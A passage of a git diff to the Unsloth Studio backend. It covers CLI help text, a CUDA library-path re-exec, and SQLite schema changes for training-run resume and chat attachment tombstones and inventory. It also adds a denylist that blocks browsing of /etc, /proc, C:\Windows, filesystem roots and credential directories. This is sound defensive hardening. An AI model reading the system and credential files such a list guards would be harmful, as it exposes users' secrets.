+        "password was never changed, Unsloth asks for a new one in the terminal "
+        "before publishing the URL.",
     )
     parser.add_argument(
         "--secure",
@@ -1415,7 +1773,9 @@ def _build_arg_parser():
         default = False,
         help = "Expose ONLY a Cloudflare HTTPS link: bind localhost and fail closed "
         "if the tunnel can't start. Without it, --no-secure also serves the raw "
-        "0.0.0.0 port, which is reachable from anywhere on the network",
+        "0.0.0.0 port, which is reachable from anywhere on the network. If the "
+        "admin password was never changed, Unsloth asks for a new one in the "
+        "terminal before publishing the URL.",
     )
     # Back-compat: accept --not-secure as a hidden alias for --no-secure.
     parser.add_argument(
@@ -1457,6 +1817,12 @@ def _build_arg_parser():
 
 # For direct execution (also invoked by CLI via os.execvp / subprocess).
 if __name__ == "__main__":
+    # Correct a conflicting system CUDA on LD_LIBRARY_PATH before torch is
+    # imported (below, via run_server). Re-execs once on Linux so the dynamic
+    # linker uses torch's bundled CUDA libs; no-op on other platforms, when
+    # LD_LIBRARY_PATH is unset or already correct, or after the single re-exec.
+    _maybe_reexec_for_cuda_ld_path()
+
     import signal
     import traceback
 
@@ -1471,7 +1837,7 @@ if __name__ == "__main__":
     args = parser.parse_args()
     if not _PARALLEL_MIN <= args.parallel <= _PARALLEL_MAX:
         parser.error(f"--parallel must be between {_PARALLEL_MIN} and {_PARALLEL_MAX}")
-    if args.secure and not args.cloudflare:
+    if args.secure and args.cloudflare is False:
         parser.error(
             "--secure requires the Cloudflare tunnel; do not combine it with --no-cloudflare"
         )
@@ -1485,6 +1851,7 @@ if __name__ == "__main__":
         cloudflare = args.cloudflare,
         secure = args.secure,
         enable_tools = args.enable_tools,
+        password = args.password,
     )
     if args.frontend is not None:
         kwargs["frontend_path"] = Path(args.frontend)
diff --git a/studio/backend/startup_banner.py b/studio/backend/startup_banner.py
index ea951a4325..9ec7a4f91c 100644
--- a/studio/backend/startup_banner.py
+++ b/studio/backend/startup_banner.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Terminal banner for Studio startup.
+"""Terminal banner for Unsloth startup.
 
 Stdlib only -- safe to import without the rest of the backend.
 """
@@ -172,7 +172,7 @@ def print_studio_access_banner(
                     secondary,
                 ),
                 style(
-                    "  Only on trusted networks -- anyone who reaches this machine can use Studio.",
+                    "  Only on trusted networks -- anyone who reaches this machine can use Unsloth.",
                     secondary,
                 ),
             ]
diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py
index 41a9adcc29..6972e7b7ff 100644
--- a/studio/backend/storage/studio_db.py
+++ b/studio/backend/storage/studio_db.py
@@ -7,6 +7,7 @@ Like auth/storage.py (module-level functions, raw sqlite3, per-function
 connections) plus WAL mode and PRAGMA foreign_keys = ON for CASCADE deletes.
 """
 
+import hashlib
 import json
 import logging
 import os
@@ -27,7 +28,7 @@ from utils.paths import (
     project_workspaces_root,
     studio_db_path,
 )
-from utils.paths.external_media import is_linux_run_media_path
+from utils.paths.external_media import is_linux_run_media_path, is_local_filesystem_root
 from utils.paths.sensitive import (
     contains_sensitive_path_component as _shared_contains_sensitive_path_component,
 )
@@ -69,6 +70,25 @@ def _denied_path_prefixes() -> list[str]:
     return []
 
 
+def is_denied_system_path(path: str) -> bool:
+    """True if *path* is, or descends from, a denied system directory.
+
+    Mirrors the denylist add_scan_folder() enforces at registration so the
+    browser refuses /etc, /proc, C:\\Windows, etc. even when the allowlist holds
+    a broad root (a Windows drive root C:\\ or a legacy-registered / root). The
+    /run carve-out keeps Linux removable-media mounts browseable. Expects an
+    already-resolved (realpath) path so symlinks cannot escape into a denied subtree.
+    """
+    is_win = platform.system() == "Windows"
+    check = os.path.normcase(path) if is_win else path
+    for prefix in _denied_path_prefixes():
+        if check == prefix or check.startswith(prefix + os.sep):
+            if prefix == "/run" and is_linux_run_media_path(check):
+                continue
+            return True
+    return False
+
+
 def _contains_sensitive_path_component(path: str) -> bool:
     return _shared_contains_sensitive_path_component(path)
 
@@ -81,6 +101,7 @@ _schema_lock = threading.Lock()
 _schema_ready = False
 _SQLITE_IN_CHUNK_SIZE = 900
 _PROJECT_WORKSPACE_SUBDIRS = ("sandbox",)
+_CHAT_ATTACHMENT_INVENTORY_VERSION = 1
 
 
 def _project_slug(name: str) -> str:
@@ -171,13 +192,18 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
             error_message TEXT,
             duration_seconds REAL,
             loss_sparkline TEXT,
-            display_name TEXT
+            display_name TEXT,
+            resume_blocked INTEGER NOT NULL DEFAULT 0
         )
         """
     )
     existing_cols = {row[1] for row in conn.execute("PRAGMA table_info(training_runs)").fetchall()}
     if "display_name" not in existing_cols:
         conn.execute("ALTER TABLE training_runs ADD COLUMN display_name TEXT")
+    if "resume_blocked" not in existing_cols:
+        conn.execute(
+            "ALTER TABLE training_runs ADD COLUMN resume_blocked INTEGER NOT NULL DEFAULT 0"
+        )
     conn.execute(
         """
         CREATE TABLE IF NOT EXISTS training_metrics (
@@ -240,6 +266,7 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
             project_id TEXT,
             archived INTEGER NOT NULL DEFAULT 0,
             created_at INTEGER NOT NULL,
+            updated_at INTEGER,
             openai_code_exec_container_id TEXT,
             anthropic_code_exec_container_id TEXT,
             forked_from_thread_id TEXT,
@@ -261,6 +288,24 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
         conn.execute("ALTER TABLE chat_threads ADD COLUMN forked_from_thread_id TEXT")
     if "forked_from_message_id" not in chat_thread_cols:
         conn.execute("ALTER TABLE chat_threads ADD COLUMN forked_from_message_id TEXT")
+    if "updated_at" not in chat_thread_cols:
+        conn.execute("ALTER TABLE chat_threads ADD COLUMN updated_at INTEGER")
+        # Floor at created_at: forked threads copy older ancestor messages,
+        # so the fork's creation time must win over the branch message times.
+        conn.execute(
+            """
+            UPDATE chat_threads SET updated_at = MAX(
+                COALESCE(
+                    (
+                        SELECT MAX(m.created_at) FROM chat_messages m
+                        WHERE m.thread_id = chat_threads.id
+                    ),
+                    created_at
+                ),
+                created_at
+            )
+            """
+        )
     conn.execute(
         """
         CREATE TABLE IF NOT EXISTS chat_messages (
@@ -275,6 +320,141 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
         )
         """
     )
+    tombstone_schema = """
+        CREATE TABLE chat_attachment_tombstones (
+            thread_id TEXT NOT NULL REFERENCES chat_threads(id) ON DELETE CASCADE,
+            message_id TEXT NOT NULL,
+            attachment_id TEXT NOT NULL,
+            deleted_at INTEGER NOT NULL,
+            PRIMARY KEY(thread_id, message_id, attachment_id)
+        ) WITHOUT ROWID
+    """
+    tombstone_table = conn.execute(
+        """
+        SELECT 1 FROM sqlite_master
+        WHERE type = 'table' AND name = 'chat_attachment_tombstones'
+        """
+    ).fetchone()
+    if tombstone_table is None:
+        conn.execute(tombstone_schema)
+    else:
+        tombstone_columns = {
+            row[1] for row in conn.execute("PRAGMA table_info(chat_attachment_tombstones)")
+        }
+        tombstone_fk_targets = {
+            row[2] for row in conn.execute("PRAGMA foreign_key_list(chat_attachment_tombstones)")
+        }
+        if "thread_id" not in tombstone_columns or "chat_threads" not in tombstone_fk_targets:
+            # The first implementation cascaded through chat_messages, which
+            # erased deletion knowledge during pruneMissing. Rebuild once,
+            # retaining every tombstone whose owning thread still exists.
+            conn.execute("SAVEPOINT migrate_chat_attachment_tombstones")
+            try:
+                conn.execute(
+                    "ALTER TABLE chat_attachment_tombstones "
+                    "RENAME TO chat_attachment_tombstones_legacy"
+                )
+                conn.execute(tombstone_schema)
+                if "thread_id" in tombstone_columns:
+                    conn.execute(
+                        """
+                        INSERT OR IGNORE INTO chat_attachment_tombstones
+                            (thread_id, message_id, attachment_id, deleted_at)
+                        SELECT legacy.thread_id, legacy.message_id,
+                               legacy.attachment_id, legacy.deleted_at
+                        FROM chat_attachment_tombstones_legacy legacy
+                        JOIN chat_threads thread ON thread.id = legacy.thread_id
+                        """
+                    )
+                else:
+                    conn.execute(
+                        """
+                        INSERT OR IGNORE INTO chat_attachment_tombstones
+                            (thread_id, message_id, attachment_id, deleted_at)
+                        SELECT message.thread_id, legacy.message_id,
+                               legacy.attachment_id, legacy.deleted_at
+                        FROM chat_attachment_tombstones_legacy legacy
+                        JOIN chat_messages message ON message.id = legacy.message_id
+                        """
+                    )
+                conn.execute("DROP TABLE chat_attachment_tombstones_legacy")
+                conn.execute("RELEASE SAVEPOINT migrate_chat_attachment_tombstones")
+            except Exception:
+                conn.execute("ROLLBACK TO SAVEPOINT migrate_chat_attachment_tombstones")
+                conn.execute("RELEASE SAVEPOINT migrate_chat_attachment_tombstones")
+                raise
+    conn.execute(
+        """
+        CREATE TABLE IF NOT EXISTS chat_attachment_inventory (
+            message_id TEXT NOT NULL REFERENCES chat_messages(id) ON DELETE CASCADE,
+            attachment_id TEXT NOT NULL,
+            name TEXT NOT NULL,
+            type TEXT,
+            content_type TEXT,
+            size_bytes INTEGER,
+            PRIMARY KEY(message_id, attachment_id)
+        ) WITHOUT ROWID
+        """
+    )
+    conn.execute(
+        """
+        CREATE TABLE IF NOT EXISTS chat_attachment_inventory_state (
+            singleton INTEGER NOT NULL PRIMARY KEY CHECK(singleton = 1),
+            inventory_version INTEGER NOT NULL DEFAULT 0,
+            dirty INTEGER NOT NULL DEFAULT 1,
+            backfilled_at INTEGER NOT NULL
+        )
+        """
+    )
+    inventory_state_columns = {
+        row[1] for row in conn.execute("PRAGMA table_info(chat_attachment_inventory_state)")
+    }
+    if "inventory_version" not in inventory_state_columns:
+        conn.execute(
+            "ALTER TABLE chat_attachment_inventory_state "
+            "ADD COLUMN inventory_version INTEGER NOT NULL DEFAULT 0"
+        )
+    if "dirty" not in inventory_state_columns:
+        conn.execute(
+            "ALTER TABLE chat_attachment_inventory_state "
+            "ADD COLUMN dirty INTEGER NOT NULL DEFAULT 1"
+        )
+    conn.execute(
+        """
+        CREATE TRIGGER IF NOT EXISTS chat_attachment_inventory_dirty_insert
+        AFTER INSERT ON chat_messages
+        BEGIN
+            INSERT INTO chat_attachment_inventory_state
+                (singleton, inventory_version, dirty, backfilled_at)
+            VALUES (1, 0, 1, 0)
+            ON CONFLICT(singleton) DO UPDATE SET dirty = 1;
+        END
+        """
+    )
+    conn.execute(
+        """
+        CREATE TRIGGER IF NOT EXISTS chat_attachment_inventory_dirty_update
+        AFTER UPDATE ON chat_messages
+        BEGIN
+            INSERT INTO chat_attachment_inventory_state
+                (singleton, inventory_version, dirty, backfilled_at)
+            VALUES (1, 0, 1, 0)
+            ON CONFLICT(singleton) DO UPDATE SET dirty = 1;
+        END
+        """
+    )
+    conn.execute(
+        """
+        CREATE TRIGGER IF NOT EXISTS chat_attachment_inventory_dirty_delete
+        AFTER DELETE ON chat_messages
+        BEGIN
+            INSERT INTO chat_attachment_inventory_state
+                (singleton, inventory_version, dirty, backfilled_at)
+            VALUES (1, 0, 1, 0)
+            ON CONFLICT(singleton) DO UPDATE SET dirty = 1;
+        END
+        """
+    )
     conn.execute(
         "CREATE INDEX IF NOT EXISTS idx_chat_threads_model_type_created_at ON chat_threads(model_type, created_at)"
     )
@@ -353,6 +533,21 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
     conn.execute(
         "CREATE INDEX IF NOT EXISTS idx_prompt_lists_created_at ON prompt_lists(created_at)"
     )
+    inventory_state = conn.execute(
+        """
+        SELECT inventory_version, dirty
+        FROM chat_attachment_inventory_state
+        WHERE singleton = 1
+        """
+    ).fetchone()
+    if (
+        inventory_state is None
+        or inventory_state["inventory_version"] != _CHAT_ATTACHMENT_INVENTORY_VERSION
+        or inventory_state["dirty"]
+    ):
+        _rebuild_chat_attachment_inventory(conn)
+        _mark_chat_attachment_inventory_clean(conn)
+    conn.commit()
 
 
 def _prompt_entry_from_row(row: sqlite3.Row) -> dict:
@@ -544,16 +739,43 @@ def create_run(
     config_json: str,
     started_at: str,
     total_steps: Optional[int],
+    *,
+    output_dir: Optional[str] = None,
+    cancel_requested: bool = False,
+    resumed_from_run_id: Optional[str] = None,
 ) -> None:
     conn = get_connection()
     try:
         conn.execute(
             """
-            INSERT INTO training_runs (id, model_name, dataset_name, config_json, started_at, total_steps)
-            VALUES (?, ?, ?, ?, ?, ?)
+            INSERT INTO training_runs (
+                id, model_name, dataset_name, config_json, started_at, total_steps,
+                output_dir, resume_blocked
+            )
+            VALUES (?, ?, ?, ?, ?, ?, ?, ?)
             """,
-            (id, model_name, dataset_name, config_json, started_at, total_steps),
+            (
+                id,
+                model_name,
+                dataset_name,
+                config_json,
+                started_at,
+                total_steps,
+                None if cancel_requested else output_dir,
+                int(cancel_requested),
+            ),
         )
+        if resumed_from_run_id:
+            claimed = conn.execute(
+                """
+                UPDATE training_runs SET resume_blocked = 1
+                WHERE id = ? AND status IN ('stopped', 'error')
+                  AND output_dir = ? AND resume_blocked = 0
+                """,
+                (resumed_from_run_id, output_dir),
+            )
+            if claimed.rowcount != 1:
+                raise RuntimeError("Resume source is no longer available")
         conn.commit()
     finally:
         conn.close()
@@ -596,6 +818,8 @@ def finish_run(
     loss_sparkline: Optional[str] = None,
     output_dir: Optional[str] = None,
     error_message: Optional[str] = None,
+    clear_output_dir: bool = False,
+    resume_blocked: bool = False,
 ) -> None:
     conn = get_connection()
     try:
@@ -603,9 +827,16 @@ def finish_run(
             """
             UPDATE training_runs
             SET status = ?, ended_at = ?, final_step = ?, final_loss = ?,
-                duration_seconds = ?, loss_sparkline = ?, output_dir = ?,
-                error_message = ?
-            WHERE id = ?
+                duration_seconds = ?, loss_sparkline = ?,
+                output_dir = CASE
+                    WHEN resume_blocked = 1 OR ? = 1 THEN NULL
+                    WHEN ? IS NOT NULL THEN ?
+                    WHEN ? IN ('error', 'stopped') THEN output_dir
+                    ELSE NULL
+                END,
+                error_message = ?,
+                resume_blocked = CASE WHEN resume_blocked = 1 OR ? = 1 THEN 1 ELSE ? END
+            WHERE id = ? AND status = 'running'
             """,
             (
                 status,
@@ -614,8 +845,13 @@ def finish_run(
                 final_loss,
                 duration_seconds,
                 loss_sparkline,
+                int(clear_output_dir),
                 output_dir,
+                output_dir,
+                status,
                 error_message,
+                int(clear_output_dir),
+                int(resume_blocked),
                 id,
             ),
         )
@@ -675,6 +911,38 @@ def update_run_display_name(id: str, display_name: Optional[str]) -> None:
         conn.close()
 
 
+def update_run_output_dir(id: str, output_dir: Optional[str]) -> None:
+    conn = get_connection()
+    try:
+        conn.execute(
+            """
+            UPDATE training_runs SET output_dir = ?
+            WHERE id = ? AND status = 'running' AND resume_blocked = 0
+            """,
+            (output_dir, id),
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+
+def mark_run_cancel_requested(id: str) -> bool:
+    """Clear resume/export state only while the exact run is still active."""
+    conn = get_connection()
+    try:
+        cursor = conn.execute(
+            """
+            UPDATE training_runs SET output_dir = NULL, resume_blocked = 1
+            WHERE id = ? AND status = 'running'
+            """,
+            (id,),
+        )
+        conn.commit()
+        return cursor.rowcount > 0
+    finally:
+        conn.close()
+
+
 def list_runs(limit: int = 50, offset: int = 0) -> dict:
     conn = get_connection()
     try:
@@ -684,15 +952,15 @@ def list_runs(limit: int = 50, offset: int = 0) -> dict:
             SELECT r.id, r.status, r.model_name, r.dataset_name, r.started_at,
                    r.ended_at, r.total_steps, r.final_step, r.final_loss,
                    r.output_dir, r.duration_seconds, r.error_message,
-                   r.loss_sparkline, r.display_name, r.config_json,
+                   r.loss_sparkline, r.display_name, r.config_json, r.resume_blocked,
                    CASE
-                       WHEN r.status = 'stopped'
+                       WHEN r.status IN ('stopped', 'error')
                             AND r.output_dir IS NOT NULL
                             AND EXISTS (
                                 SELECT 1
                                 FROM training_runs newer
                                 WHERE newer.output_dir = r.output_dir
-                                  AND newer.status IN ('stopped', 'completed')
+                                  AND newer.status IN ('stopped', 'completed', 'error', 'running')
                                   AND newer.started_at > r.started_at
                             )
                        THEN 1 ELSE 0
@@ -727,13 +995,13 @@ def get_run(id: str) -> Optional[dict]:
             """
             SELECT r.*,
                    CASE
-                       WHEN r.status = 'stopped'
+                       WHEN r.status IN ('stopped', 'error')
                             AND r.output_dir IS NOT NULL
                             AND EXISTS (
                                 SELECT 1
                                 FROM training_runs newer
                                 WHERE newer.output_dir = r.output_dir
-                                  AND newer.status IN ('stopped', 'completed')
+                                  AND newer.status IN ('stopped', 'completed', 'error', 'running')
                                   AND newer.started_at > r.started_at
                             )
                        THEN 1 ELSE 0
@@ -768,12 +1036,12 @@ def get_resumable_run_by_output_dir(output_dir: str) -> Optional[dict]:
                    0 AS resumed_later
             FROM training_runs r
             WHERE r.output_dir = ?
-              AND r.status = 'stopped'
+              AND r.status IN ('stopped', 'error')
               AND NOT EXISTS (
                   SELECT 1
                   FROM training_runs newer
                   WHERE newer.output_dir = r.output_dir
-                    AND newer.status IN ('stopped', 'completed')
+                    AND newer.status IN ('stopped', 'completed', 'error', 'running')
                     AND newer.started_at > r.started_at
               )
             ORDER BY r.started_at DESC
@@ -876,8 +1144,12 @@ def cleanup_orphaned_runs() -> None:
         conn.execute(
             """
             UPDATE training_runs
-            SET status = 'error',
-                error_message = 'Server restarted during training',
+            SET status = CASE WHEN resume_blocked = 1 THEN 'stopped' ELSE 'error' END,
+                error_message = CASE
+                    WHEN resume_blocked = 1 THEN NULL
+                    ELSE 'Server restarted during training'
+                END,
+                output_dir = CASE WHEN resume_blocked = 1 THEN NULL ELSE output_dir END,
                 ended_at = ?
             WHERE status = 'running'
             """,
@@ -912,6 +1184,12 @@ def add_scan_folder(path: str) -> dict:
         raise ValueError("Path must be a directory, not a file")
     if not os.access(normalized, os.R_OK | os.X_OK):
         raise ValueError("Path is not readable")
+    # Reject a local filesystem root ("/", or a bare Windows drive root "C:\\"):
+    # registering one seeds the browse allowlist with a root above denied system
+    # dirs. A UNC share root (\\server\share) has none under it and was
+    # registerable before this guard, so it stays allowed. Mirrors scan_folders.py.
+    if is_local_filesystem_root(normalized):
+        raise ValueError("The filesystem root cannot be registered")
     if _contains_sensitive_path_component(normalized):
         raise ValueError("Credential or configuration directories are not allowed")
 
@@ -992,6 +1270,9 @@ def _chat_thread_from_row(row: sqlite3.Row) -> dict:
         "projectId": data.get("project_id") or None,
         "archived": bool(data["archived"]),
         "createdAt": data["created_at"],
+        "updatedAt": data.get("updated_at")
+        if data.get("updated_at") is not None
+        else data["created_at"],
         "openaiCodeExecContainerId": data.get("openai_code_exec_container_id"),
         "anthropicCodeExecContainerId": data.get("anthropic_code_exec_container_id"),
         "forkedFromThreadId": data.get("forked_from_thread_id"),
@@ -1039,8 +1320,8 @@ def upsert_chat_thread(thread: dict) -> dict:
         conn.execute(
             """
             INSERT INTO chat_threads
-                (id, title, model_type, model_id, pair_id, project_id, archived, created_at, openai_code_exec_container_id, anthropic_code_exec_container_id, forked_from_thread_id, forked_from_message_id)
-            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
+                (id, title, model_type, model_id, pair_id, project_id, archived, created_at, updated_at, openai_code_exec_container_id, anthropic_code_exec_container_id, forked_from_thread_id, forked_from_message_id)
+            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
             ON CONFLICT(id) DO UPDATE SET
                 title = excluded.title,
                 model_type = excluded.model_type,
@@ -1049,6 +1330,7 @@ def upsert_chat_thread(thread: dict) -> dict:
                 project_id = excluded.project_id,
                 archived = excluded.archived,
                 created_at = excluded.created_at,
+                updated_at = COALESCE(excluded.updated_at, chat_threads.updated_at),
                 openai_code_exec_container_id = excluded.openai_code_exec_container_id,
                 anthropic_code_exec_container_id = excluded.anthropic_code_exec_container_id,
                 forked_from_thread_id = excluded.forked_from_thread_id,
@@ -1063,6 +1345,7 @@ def upsert_chat_thread(thread: dict) -> dict:
                 thread.get("projectId"),
                 1 if thread.get("archived") else 0,
                 int(thread["createdAt"]),
+                int(thread["updatedAt"]) if thread.get("updatedAt") is not None else None,
                 thread.get("openaiCodeExecContainerId"),
                 thread.get("anthropicCodeExecContainerId"),
                 thread.get("forkedFromThreadId"),
@@ -1084,6 +1367,7 @@ def update_chat_thread(id: str, patch: dict) -> Optional[dict]:
         "projectId": ("project_id", patch.get("projectId")),
         "archived": ("archived", 1 if patch.get("archived") else 0),
         "createdAt": ("created_at", patch.get("createdAt")),
+        "updatedAt": ("updated_at", patch.get("updatedAt")),
         "openaiCodeExecContainerId": (
             "openai_code_exec_container_id",
             patch.get("openaiCodeExecContainerId"),
@@ -1155,7 +1439,8 @@ def list_chat_threads(
     conn = get_connection()
     try:
         rows = conn.execute(
-            f"SELECT * FROM chat_threads {where} ORDER BY created_at DESC",
+            f"SELECT * FROM chat_threads {where} "
+            "ORDER BY COALESCE(updated_at, created_at) DESC, created_at DESC",
             values,
         ).fetchall()
         return [_chat_thread_from_row(row) for row in rows]
@@ -1168,7 +1453,14 @@ def delete_chat_threads(ids: list[str]) -> None:
         return
     conn = get_connection()
     try:
+        conn.execute("BEGIN IMMEDIATE")
+        _ensure_chat_attachment_inventory_current(conn)
+        conn.executemany(
+            "DELETE FROM chat_attachment_tombstones WHERE thread_id = ?",
+            [(id,) for id in ids],
+        )
         conn.executemany("DELETE FROM chat_threads WHERE id = ?", [(id,) for id in ids])
+        _mark_chat_attachment_inventory_clean(conn)
         conn.commit()
     finally:
         conn.close()
@@ -1177,7 +1469,11 @@ def delete_chat_threads(ids: list[str]) -> None:
 def clear_chat_history() -> None:
     conn = get_connection()
     try:
+        conn.execute("BEGIN IMMEDIATE")
+        _ensure_chat_attachment_inventory_current(conn)
+        conn.execute("DELETE FROM chat_attachment_tombstones")
         conn.execute("DELETE FROM chat_threads")
+        _mark_chat_attachment_inventory_clean(conn)
         conn.commit()
     finally:
         conn.close()
@@ -1303,6 +1599,7 @@ def delete_chat_project(id: str, delete_files: bool = False) -> Optional[dict]:
     conn = get_connection()
     try:
         conn.execute("BEGIN IMMEDIATE")
+        _ensure_chat_attachment_inventory_current(conn)
         row = conn.execute("SELECT * FROM chat_projects WHERE id = ?", (id,)).fetchone()
         if row is None:
             conn.rollback()
@@ -1310,6 +1607,7 @@ def delete_chat_project(id: str, delete_files: bool = False) -> Optional[dict]:
         project = _chat_project_from_row(row)
         conn.execute("DELETE FROM chat_threads WHERE project_id = ?", (id,))
         conn.execute("DELETE FROM chat_projects WHERE id = ?", (id,))
+        _mark_chat_attachment_inventory_clean(conn)
         conn.commit()
         if delete_files:
             _delete_project_workspace(project)
@@ -1394,15 +1692,323 @@ def _raise_if_chat_message_thread_conflicts(
         )
 
 
+def _bump_chat_thread_updated_at(
+    conn: sqlite3.Connection, thread_id: str, message_created_at: int
+) -> None:
+    conn.execute(
+        """
+        UPDATE chat_threads
+        SET updated_at = MAX(COALESCE(updated_at, created_at), ?)
+        WHERE id = ?
+        """,
+        (message_created_at, thread_id),
+    )
+
+
+def _recompute_chat_thread_updated_at(conn: sqlite3.Connection, thread_id: str) -> None:
+    """Set updated_at from the remaining messages, floored at created_at.
+
+    Unlike the ratchet-only bump, this can lower updated_at -- needed after
+    pruning, which may delete the thread's newest message.
+    """
+    conn.execute(
+        """
+        UPDATE chat_threads
+        SET updated_at = MAX(
+            COALESCE(
+                (
+                    SELECT MAX(m.created_at) FROM chat_messages m
+                    WHERE m.thread_id = chat_threads.id
+                ),
+                created_at
+            ),
+            created_at
+        )
+        WHERE id = ?
+        """,
+        (thread_id,),
+    )
+
+
+_CONTENT_PART_ID_PREFIX = "content-part-sha256-"
+_URI_SCHEME_RE = re.compile(r"^[A-Za-z][A-Za-z0-9+.-]*:")
+
+
+def _is_locally_stored_blob(value: str) -> bool:
+    """True for data URIs or bare base64, never external/blob URI references."""
+    candidate = value.lstrip()
+    if not candidate:
+        return False
+    if candidate[:5].lower() == "data:":
+        return True
+    if candidate.startswith(("//", "\\\\")):
+        return False
+    return _URI_SCHEME_RE.match(candidate) is None
+
+
+def _managed_content_part_payload(part: dict) -> Optional[tuple[str, Any]]:
+    """Return the locally stored blob payload used to identify a content part."""
+    image = part.get("image")
+    if isinstance(image, str) and image[:5].lower() == "data:":
+        return "image", image
+
+    audio = part.get("audio")
+    if isinstance(audio, str) and _is_locally_stored_blob(audio):
+        return "audio", audio
+    if isinstance(audio, dict):
+        data = audio.get("data")
+        if isinstance(data, str) and _is_locally_stored_blob(data):
+            return "audio", audio
+    return None
+
+
+def _content_part_id(part: dict) -> Optional[str]:
+    """Stable managed id derived from blob data, without mutating inference content."""
+    payload = _managed_content_part_payload(part)
+    if payload is None:
+        return None
+    canonical = json.dumps(
+        payload,
+        ensure_ascii = False,
+        separators = (",", ":"),
+        sort_keys = True,
+    ).encode("utf-8")
+    return f"{_CONTENT_PART_ID_PREFIX}{hashlib.sha256(canonical).hexdigest()}"
+
+
+def _chat_attachment_tombstones_for_messages(
+    conn: sqlite3.Connection, thread_id: str, message_ids: list[str]
+) -> dict[str, set[str]]:
+    tombstones = {message_id: set() for message_id in message_ids}
+    unique_ids = list(dict.fromkeys(message_ids))
+    for start in range(0, len(unique_ids), _SQLITE_IN_CHUNK_SIZE):
+        chunk = unique_ids[start : start + _SQLITE_IN_CHUNK_SIZE]
+        placeholders = ",".join("?" for _ in chunk)
+        rows = conn.execute(
+            f"""
+            SELECT message_id, attachment_id
+            FROM chat_attachment_tombstones
+            WHERE thread_id = ? AND message_id IN ({placeholders})
+            """,
+            (thread_id, *chunk),
+        ).fetchall()
+        for row in rows:
+            tombstones[row["message_id"]].add(row["attachment_id"])
+    return tombstones
+
+
+def _reconcile_chat_message_uploads(message: dict, tombstones: set[str]) -> dict:
+    """Strip uploads previously deleted through the Data tab from a stale write."""
+    if not tombstones:
+        return message
+
+    reconciled = dict(message)
+    attachments = message.get("attachments")
+    if isinstance(attachments, list):
+        reconciled["attachments"] = [
+            attachment
+            for attachment in attachments
+            if not (isinstance(attachment, dict) and str(attachment.get("id") or "") in tombstones)
+        ]
+
+    content = message.get("content")
+    if isinstance(content, list):
+        reconciled["content"] = [
+            part
+            for part in content
+            if not (isinstance(part, dict) and (_content_part_id(part) or "") in tombstones)
+        ]
+    return reconciled
+
+
+def _chat_attachment_metadata_text(value, fallback: Optional[str] = None) -> Optional[str]:
+    """Keep untyped legacy/import metadata safe for SQLite binding."""
+    if value is None:
+        return fallback
+    if isinstance(value, str):
+        return value or fallback
+    if isinstance(value, (bool, int, float)):
+        return str(value)
+    # Objects and arrays are not useful display metadata and sqlite3 rejects
+    # binding them directly.
+    return fallback
+
+
+def _chat_attachment_inventory_entries(
+    attachments_json: Optional[str],
+    content_json: Optional[str],
+    tombstones: Optional[set[str]] = None,
+) -> list[dict]:
+    tombstones = tombstones or set()
+    attachments = _json_loads(attachments_json, None)
+    if not isinstance(attachments, list):
+        attachments = []
+    attachments = [
+        attachment
+        for attachment in attachments
+        if isinstance(attachment, dict) and attachment.get("id")
+    ]
+    attachments.extend(_content_part_attachments(content_json))
+
+    entries: list[dict] = []
+    seen: set[str] = set()
+    for attachment in attachments:
+        attachment_id = str(attachment["id"])
+        if attachment_id in seen or attachment_id in tombstones:
+            continue
+        seen.add(attachment_id)
+        entries.append(
+            {
+                "id": attachment_id,
+                "name": _chat_attachment_metadata_text(attachment.get("name"), "attachment"),
+                "type": _chat_attachment_metadata_text(attachment.get("type")),
+                "contentType": _chat_attachment_metadata_text(attachment.get("contentType")),
+                "sizeBytes": _chat_attachment_size_bytes(attachment),
+            }
+        )
+    return entries
+
+
+def _replace_chat_attachment_inventory(
+    conn: sqlite3.Connection,
+    message_id: str,
+    attachments_json: Optional[str],
+    content_json: Optional[str],
+    tombstones: Optional[set[str]] = None,
+) -> None:
+    conn.execute("DELETE FROM chat_attachment_inventory WHERE message_id = ?", (message_id,))
+    entries = _chat_attachment_inventory_entries(
+        attachments_json,
+        content_json,
+        tombstones,
+    )
+    conn.executemany(
+        """
+        INSERT INTO chat_attachment_inventory
+            (message_id, attachment_id, name, type, content_type, size_bytes)
+        VALUES (?, ?, ?, ?, ?, ?)
+        """,
+        [
+            (
+                message_id,
+                entry["id"],
+                entry["name"],
+                entry["type"],
+                entry["contentType"],
+                entry["sizeBytes"],
+            )
+            for entry in entries
+        ],
+    )
+
+
+def _mark_chat_attachment_inventory_clean(conn: sqlite3.Connection) -> None:
+    conn.execute(
+        """
+        INSERT INTO chat_attachment_inventory_state
+            (singleton, inventory_version, dirty, backfilled_at)
+        VALUES (1, ?, 0, ?)
+        ON CONFLICT(singleton) DO UPDATE SET
+            inventory_version = excluded.inventory_version,
+            dirty = 0,
+            backfilled_at = excluded.backfilled_at
+        """,
+        (
+            _CHAT_ATTACHMENT_INVENTORY_VERSION,
+            int(datetime.now(timezone.utc).timestamp() * 1000),
+        ),
+    )
+
+
+def _rebuild_chat_attachment_inventory(conn: sqlite3.Connection) -> None:
+    """Rebuild after schema upgrade or a write from an older Studio build."""
+    conn.execute("DELETE FROM chat_attachment_inventory")
+    tombstones: dict[tuple[str, str], set[str]] = {}
+    for row in conn.execute(
+        "SELECT thread_id, message_id, attachment_id FROM chat_attachment_tombstones"
+    ).fetchall():
+        tombstones.setdefault((row["thread_id"], row["message_id"]), set()).add(
+            row["attachment_id"]
+        )
+    rows = conn.execute(
+        "SELECT id, thread_id, attachments_json, content_json FROM chat_messages"
+    ).fetchall()
+    for row in rows:
+        _replace_chat_attachment_inventory(
+            conn,
+            row["id"],
+            row["attachments_json"],
+            row["content_json"],
+            tombstones.get((row["thread_id"], row["id"]), set()),
+        )
+
+
+def _ensure_chat_attachment_inventory_current(conn: sqlite3.Connection) -> None:
+    state = conn.execute(
+        """
+        SELECT inventory_version, dirty
+        FROM chat_attachment_inventory_state
+        WHERE singleton = 1
+        """
+    ).fetchone()
